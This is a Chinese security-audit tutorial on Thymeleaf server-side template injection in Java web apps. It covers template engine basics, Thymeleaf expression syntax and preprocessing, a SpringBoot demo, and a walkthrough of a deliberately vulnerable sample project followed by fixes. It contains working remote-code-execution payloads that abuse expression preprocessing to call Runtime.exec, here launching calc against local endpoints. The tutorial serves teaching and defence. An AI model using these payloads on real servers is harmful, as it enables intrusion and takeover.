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7【JavaWeb 审计】之模板注入漏洞(Thymeleaf)
一、Java 模板引擎与漏洞
这一章先回答两个最基础的问题:模板引擎是做什么用的?它为什么会和安全漏洞扯上关系?把这两点弄明白,后面的内容就容易理解了。
1、模板引擎介绍
目前Java 常见的模板引擎有 FreeMarker、Velocity 和 Thymeleaf。
模板引擎,其实就是一个"根据模板和数据生成最终文本"的工具,目的是让页面显示和数据内容分开。可以用一个生活化的例子来理解:模板就像一张填空试卷,数据就是要填进去的答案,模板引擎则负责把答案自动填到对应的空格里,最后生成一张完整的网页。我们都了解JSP,它其实也是一种模板引擎,通过后端向前端插入数据来实现动态网页的效果。
在JSP 之前,人们使用 servlet 来实现动态网页效果。servlet 是 Java Web 最底层的组件,但直接用它生成网页非常繁琐——想把一个页面返回给浏览器,得用 out.write() 一行一行地把 HTML 代码拼接出来,比如:
out.write("<html>\n") out.write("<head>"\n) out.write("<h1>hello servlet</h1>\n") out.write("</head>\n") out.write("</html>\n") |
可以看到,连一个最简单的页面都要写这么多行输出语句,既累赘又容易出错。虽然JSP 也是模板引擎的一种,但因为它本质上是 servlet,可以直接、无阻碍地访问底层的 servlet API,还能在页面里编写后端代码逻辑,导致前端和后端纠缠在一起,违背了面向对象"低耦合、高内聚"的设计思想,维护起来也越来越繁琐。因此经过演变,加上优秀的模板引擎不断出现,JSP 逐渐被替代,这其中就包括 FreeMarker、Velocity 和 Thymeleaf 等。
(延伸阅读:JSP 为什么被淘汰了?https://www.zhihu.com/question/328713931)
言归正传,用大白话再解释一遍模板引擎:比如前端做好一个展示人员信息的模板页面,在姓名、性别、年龄这些位置,用模板引擎规定的"变量符 / 指令 / 插值"做占位标记,后端查询回来的数据就能动态地填进这些占位处。模板引擎的核心价值就在于——同一个模板,填入不同的数据,就能生成不同的页面。
2、模板注入漏洞
SSTI(Server-Side Template Injection,服务器端模板注入),通俗地说,就是模板引擎在解析模板时,如果代码写得不够严谨,可能把攻击者提交的恶意内容当成了模板的一部分来执行。攻击者可以借此在服务器上执行任意代码,造成严重的安全威胁。
简单讲:模板引擎渲染模板时,如果模板里混进了恶意代码,这些代码就会在渲染过程中被执行。不同的模板引擎触发漏洞的场景各不相同,下面我们会针对FreeMarker、Velocity 和 Thymeleaf 这三款逐一讲解。
这里要先建立一个关键认知:模板注入漏洞是依附于模板引擎存在的。项目里如果没有引入相关的模板引擎组件,基本就不会有这类漏洞;只有引入了组件,同时又用了不安全的编码方式,风险才会出现。
本期我们聚焦Thymeleaf 模板引擎。本节先从 Web 场景切入讲解 Thymeleaf 模板注入漏洞,漏洞原理分析部分将放在后续阶段讲解。
现在请大家先把视角放在Web 层。换个角度说,模板注入漏洞是发生在框架层面的漏洞——Web 项目里到底存不存在这个问题,还得看项目有没有引入相关模板引擎框架,以及有没有使用不安全的编码方式。
二、Thymeleaf 模板引擎
这一章先认识Thymeleaf 是什么、怎么用,再通过一次完整的 SpringBoot 整合实操建立直观感受。不用急着记语法,先理解它解决了什么问题即可。
1、什么是 Thymeleaf
官方网站:https://www.thymeleaf.org/
Thymeleaf 是一种用于 Web 环境和独立环境中的现代化服务器端 Java 模板引擎,能够处理 HTML、XML、JavaScript、CSS 甚至纯文本。它的特点是使用"自然模板"语法——也就是说,模板文件本身就是可以直接在浏览器里预览的规范 HTML,美工和前端能直接看懂、修改和维护,这是它区别于传统模板引擎的一大优势。此外 Thymeleaf 还支持扩展,你可以添加自定义标签和扩展函数来满足自己的需求。
Thymeleaf 的主要特点包括:
l可以处理HTML,XML,JavaScript,CSS 等各种文本格式
l可以在不同的Web 框架中使用,如 Spring,Spring Boot,Play Framework 等
l自然的模板语法,易于学习和使用
l可以与其他Java 技术集成,如 Spring Security,Spring Data 等
l支持模板片段,使得模板的重用性更高
l可以在运行时或者静态地执行模板,方便模板的测试和调试
正因为Thymeleaf 易学易用,又能与许多 Java 技术无缝集成,它成了 Java Web 应用程序中最受欢迎的模板引擎之一。下面是一个简单的 Thymeleaf 样例,先大致看一下它的写法,不用逐行深究:
<table> <thead> <tr> <th th:text="#{msgs.headers.name}">Name</th> <th th:text="#{msgs.headers.price}">Price</th> </tr> </thead> <tbody> <tr th:each="prod: ${allProducts}"> <td th:text="${prod.name}">Oranges</td> <td th:text="${#numbers.formatDecimal(prod.price, 1, 2)}">0.99</td> </tr> </tbody> </table> |
像th:text、th:each这种以th:开头的属性,就是Thymeleaf 的"指令",用来告诉引擎"这里要填入数据"或"这里要循环生成"。后面会逐一用到。
2、Thymeleaf 基础
以下内容整理自官方文档,文档是英文版的,根据自己的理解做了部分整理。官方文档地址:
lhttps://www.thymeleaf.org/documentation.html
lhttps://www.thymeleaf.org/doc/tutorials/2.1/usingthymeleaf.html
lhttps://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html
Thymeleaf 提供了多种标准表达式,可以先把它理解成"写在模板里、用来取数据和做运算的小语法"。包括:
简单表达式:(最核心的5 种,记住符号含义即可)
lVariable expressions(变量表达式)${...}—— 取变量的值,最常用
lSelection expressions(选择表达式)*{...}—— 在已选定的对象上取属性
lMessage (i18n) expressions(消息表达式)#{...}—— 取国际化文案,i18n 是"国际化"的缩写
lLink (URL) expressions(链接表达式)@{...}—— 生成链接地址
lFragment expressions(分段表达式)~{...}—— 引用模板片段
字面量:(就是固定不变的值)
l文本:'one text'、'Another one!' 等;
l数值:0、34、3.0、12.3 等;
l布尔:true、false
lNull:null
lLiteral token(字面标记):one、sometext、main 等;
文本操作:
l字符串拼接:+
l文本替换:|The name is ${name}|
算术操作:
l二元运算符:+、-、*、/、%
l减号(单目运算符):-
布尔操作:
l二元运算符:and、or
l布尔否定(一元运算符):!、not
比较和等价:
l比较:>、<、>=、<=(gt、lt、ge、le)
l等价:==、!=(eq、ne)
条件运算符:
lIf-then:(if) ? (then)
lIf-then-else:(if) ? (then) : (else)
lDefault:(value) ?: (defaultvalue)
特殊标记:
lNo-Operation(无操作):_
上面列出的这些表达式看起来很多,但不用死记——用到时回来查即可。我们进一步了解下最常用的简单表达式:大多数的 Thymeleaf 属性都允许把值设置或包含简单表达式。
2.1、条件表达式
先看变量表达式。它是在上下文变量(Spring 里也叫"模型属性",就是后端传给页面的数据)上执行的 OGNL 表达式;如果你把 Thymeleaf 和 Spring 集成使用,则是 Spring EL 表达式。这里 OGNL、SpEL 都是"表达式语言"的名字,作用类似——都是用来在模板里访问对象、调用方法的。它们的形式如下:
${session.user.name} |
你可以在属性值或者属性值的一部分中找到它们,具体取决于属性的类型:
<span th:text="${book.author.name}"> |
以上表达式在OGNL 和 SpringEL 中等效于(右边这段 Java 代码帮你理解它到底做了什么):
((Book)context.getVariable("book")).getAuthor().getName() |
变量表达式不只能用于输出,还能参与更复杂的处理,比如条件判断、循环迭代等:
<li th:each="book : ${books}"> |
在这个例子中,${books}从上下文中取出名为books 的变量,把它当作可迭代的集合,供 th:each 循环使用。
2.2、选择表达式
选择表达式与变量表达式非常相似,区别是:它是在"先前选好的对象"上取属性,而不是在整个上下文变量里查找。它的形式如下:
*{customer.name} |
这个"选好的对象"由 th:object 属性指定:
<div th:object="${book}"> ... <span th:text="*{title}">...</span> ... </div> |
这里先用th:object="${book}"选定book 这个对象,之后 *{title}就直接取它的title 属性,不必每次都写完整的 book 路径。上面的写法等同于:
{ // th:object="${book}" final Book selection = (Book) context.getVariable("book"); // th:text="*{title}" output(selection.getTitle()); } |
2.3、消息表达式
消息表达式(通常称为"文本外部化"、国际化或 i18n)允许我们从外部源文件(.properties 文件)中,按一个键名 retrieving 对应语言的文案,还可以附带参数。这么做的好处是:页面文案集中管理,切换语言时不用改模板。
在Spring 应用程序中,它会自动与 Spring 的 MessageSource 机制集成。你可以在模板中这样找到它们:
#{main.title} #{message.entrycreated(${entryId})} |
请注意,消息表达式里还可以嵌套变量表达式——比如你希望"消息键名"由上下文变量的值来决定,或者想把变量当作参数传进去。例如:
#{${config.adminWelcomeKey}(${session.user.name})} |
2.4、链接表达式
链接表达式专门用来构建URL,并为其添加有用的上下文和会话信息(这个过程通常叫"URL 重写")。举个例子:应用部署在 Web 服务器的 /myapp 上下文下,模板里这样写:
<a th:href="@{/order/list}">...</a> |
会被自动转换为(自动帮你补上应用名/myapp 前缀):
<a href="/myapp/order/list">...</a> |
或者,如果需要保持会话、且未启用cookie(或者服务器还不知道客户端支持 cookie),还可以转换为下面这样,把会话 id 拼进 URL:
<a href="/myapp/order/list;jsessionid=23fa31abd41ea093">...</a> |
URL 还可以带参数:
<a th:href="@{/order/details(id=${orderId},type=${orderType})}">...</a> |
结果如下所示:
<a href="/myapp/order/details?id=23&type=online">...</a> |
注意:在标签属性中应该对& 符号进行 HTML 转义(所以这里写成了 &)。
链接表达式也可以是相对的,这种情况下不会添加应用程序上下文前缀到URL 中:
<a th:href="@{../documents/report}">...</a> |
也可以是服务器相对的(同样没有应用程序上下文前缀):
<a th:href="@{~/contents/main}">...</a> |
还可以是协议相对的(与绝对URL 类似,但浏览器会使用当前显示页面所用的 HTTP 或 HTTPS 协议):
<a th:href="@{//static.mycompany.com/res/initial}">...</a> |
当然,链接表达式也可以是绝对的:
<a th:href="@{http://www.mycompany.com/main}">...</a> |
2.5、分段表达式
分段表达式是3.x 版本新增的内容。它提供了一种简单的方式来表示一段标记片段,并在模板周围移动、复用它。有了分段表达式,片段可以被复制,或者像参数一样传给其他模板。
最常见的用法是使用th:insert 或 th:replace 插入片段:
<div th:insert="~{commons :: main}">...</div> |
不过它们可以出现在任何地方,就像使用其他任何变量一样:
<div th:with="frag=~{footer :: #main/text()}"> <p th:insert="${frag}"> </div> |
分段表达式还可以带参数。
2.6、表达式预处理
官方文档:https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#preprocessing
除了上面这些表达式处理功能,Thymeleaf 还有一个"预处理"能力。所谓预处理,就是在正常表达式执行之前先执行一遍的表达式,允许你先修改表达式本身,再去执行最终的结果。这个特性看着抽象,但正是后面漏洞利用的关键,需要留意。
预处理的写法与普通表达式完全一样,只是要用双下划线把它包起来,比如__${expression}__。也就是说,表达式预处理被定义在两个下划线__之间:
#{selection.__${sel.code}__} |
我们看到的变量表达式${sel.code}会先被执行。假如它的结果是"ALL",那么 __之间的值就会被替换成"ALL",并作为表达式的一部分再次执行,在这里最终会变成 selection.ALL。
3、SpringBoot 整合 Thymeleaf
老规矩,还是使用IDEA 新建个名为 thymeleafdemo 的 SpringBoot 项目。
①、第一步,使用 IDEA(我的版本是 2022.2.3)新建项目,配置如下图所示:

第一步新建项目配置
②、第二步,选择 SpringBoot 版本,以及添加相关依赖,最后点击创建,如下图所示:

第二步选择版本与依赖
当然了,Spring 相关系列集成了 Thymeleaf,可以直接选择,我们也可以在 pom.xml 手动添加。
③、第三步,在 pom.xml 文件中添加依赖,进入发现使用的是 Thymeleaf 的 3.0.15.RELEASE 版本,如下图所示:
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency> |

第三步pom.xml 依赖版本
④、第四步,创建前端模板文件,在 src/main/resources/templates/ 下,新建一个名为 index.html 的前端模板文件,如下图所示:
<!DOCTYPE html> <html lang="en" xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="UTF-8"> <title>SpringBoot 整合 Thymeleaf</title> </head> <body > <span th:text="${data}"></span> </body> </html> |

第四步index.html 模板文件
⑤、第五步,在 src/main/java/com/example/thymeleafdemo/ 目录下新建一个名为 ThymeleafController 的 Java Class,并键入以下代码,最终如下图所示:
package com.example.thymeleafdemo; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; /** * 编号7089 */ @Controller public class ThymeleafController { @RequestMapping(value = "/") public String index(Model model) { model.addAttribute("data","hello thymeleaf!!!"); return "index"; } } |

第五步ThymeleafController 代码
⑥、第六步,在配置文件中键入以下配置内容,如下图所示:
server.port=8090 #thymeleaf 页面的缓存开关,默认 true 开启缓存 spring.thymeleaf.cache=false spring.thymeleaf.prefix=classpath:/templates/ spring.thymeleaf.suffix=.html |

第六步配置文件
⑦、第七步,启动项目,浏览器访问 http://127.0.0.1:8090/ ,最终如下图所示:

第七步启动访问效果
至此,SpringBoot 整合 Thymeleaf 基础部分到此结束。此部分意在让大家通过基础的整合操作,来简单理解什么是 Thymeleaf。
三、Thymeleaf 模板注入漏洞
本章结合经典开源项目,讲解Thymeleaf 模板注入漏洞的成因、漏洞源码示例,以及对应的修复方案。
1、漏洞释义
Thymeleaf SSTI 漏洞通常发生在使用动态输入来生成 Thymeleaf 模板的情况下。攻击者可以通过精心构造的输入向服务器发送恶意代码,这些代码将被 Thymeleaf 视为有效的模板表达式,并在服务器上执行。因此会导致服务器上的远程代码执行,从而使攻击者能够完全接管服务器并访问敏感数据。
在Thymeleaf 中,可以使用表达式来动态设置模板的值。例如 ${user.name}将被替换为用户的名称。攻击者可以使用类似${T(java.lang.Runtime).getRuntime().exec('calc')}的表达式来执行任意的系统命令。
Thymeleaf 3.0.0 至 3.0.11 版本存在模板注入漏洞。该漏洞在 Thymeleaf 3.0.12 及以后版本已经得到修复,但还是存在一些 Bypass 的方式。

Thymeleaf 3.0.12 发行说明
2、漏洞源码示例
基础案例,这里我们以https://github.com/veracode-research/spring-view-manipulation/ 这个项目进行讲解,比较经典。下载后,使用 IDEA 打开,进入 src/main/java/com/veracode/research/HelloController.java 文件中。
通过本项目我们来认识WEB 环境下存在 SSTI 漏洞的情形。第二阶段是从 WEB 角度出发讲解 JavaWeb 下常见的漏洞,故此节没有的 Thymeleaf SSTI 漏洞分析,具体这部分稍后会放到漏洞部分讲解,先从此节了解下前置基础知识吧。
另外,从WEB 漏洞视角来看,虽然 SSTI 漏洞发生在 WEB 漏洞场景下,但更多的是引入了相关模板引擎,并使用了不安全的版本或代码造成的。这么来说,也算是框架漏洞。
spring-view-manipulation 项目中使用的 SpringBoot 版本为 2.2.0,Thymeleaf 版本为 3.0.11。
2.1、选择模板
HelloController.java 第 24、25 行,代码如下所示:
@GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted } |
代码很简单,学过前面阶段基础的朋友肯定能看懂。应用场景比如说:国际化语言切换。定义CN 模板和 EN 模板,通过修改 lang 的参数来实现中英文页面展示。
而此时通过拼接路径名实现选择模板造成了模板注入,lang 的参数我们可控,即可传入攻击语句。代码注释作者也给出了攻击语句,大家启动项目自行运行下。
(注意,一定要记得进行URL 编码,否则会报错。)
http://127.0.0.1:8090/lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x |
2.2、片段选择器
HelloController.java 第 31 到 34 行,代码如下所示:
@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted } |
在上面提到过,这是3.x 版本新增的内容。在分段表达式中有一个"片段选择器"语法,用于选择模板中的某个片段或元素,并在页面中渲染该片段或元素。片段选择器通常以 th: 开头,例如 th:fragment 或 th:include。th:fragment 用于定义一个片段,th:include 用于在页面中包含一个片段。
这段代码是片段选择器存在模板注入问题,在section 参数中传入攻击语句。
http://127.0.0.1:8090/section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x |
2.3、拼接路径
HelloController.java 第 36 到 40 行,代码如下所示:
@GetMapping("/doc/{document}") public void getDocument(@PathVariable String document) { log.info("Retrieving " + document); //returns void, so view name is taken from URI } |
由于返回为空,所以视图名字会从URI 中获取,并且接收了 document 的传参,我们可以键入以下攻击语句。
http://127.0.0.1:8090/doc/__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7D__%3A%3A.x |
3、Thymeleaf 模板注入漏洞修复
在spring-view-manipulation 中,作者针对上述情景给出了修复方案。
3.1、设置注解 @ResponseBody
HelloController.java 第 42 到 46 行,代码如下所示:
@GetMapping("/safe/fragment") @ResponseBody public String safeFragment(@RequestParam String section) { return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name } |
使用@ResponseBody 注解告诉 Spring 将返回值作为响应体处理,而不是视图名称,因此无法进行模板注入攻击。
3.2、设置重定向 redirect
HelloController.java 第 48 到 51 行,代码如下所示:
@GetMapping("/safe/redirect") public String redirect(@RequestParam String url) { return "redirect:" + url; //FP as redirects are not resolved as expressions } |
当视图名称以redirect: 前缀开头时,Spring 不再使用 Spring ThymeleafView 解析,而是使用 RedirectView 解析,该视图不会执行表达式。但这个示例存在 URL 跳转漏洞。
3.3、设置 response 响应
HelloController.java 第 53 到 56 行,代码如下所示:
@GetMapping("/safe/doc/{document}") public void getDocument(@PathVariable String document, HttpServletResponse response) { log.info("Retrieving " + document); //FP } |
由于控制器在参数中具有HttpServletResponse,Spring 认为已经处理了 HTTP 响应,因此视图名称解析就不会发生。这个检查存在于 ServletResponseMethodArgumentResolver 类中。
4、进阶课外文章推荐
分享一些关于ThymeLeaf 模板注入漏洞优秀的文章,多多学习。
lhttps://www.cnpanda.net/sec/1063.html
lhttps://moonsec.top/articles/121
lhttps://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/
lhttps://www.cnblogs.com/colo/p/15507738.html
lhttps://xz.aliyun.com/t/9826
lhttps://xz.aliyun.com/t/10514















































































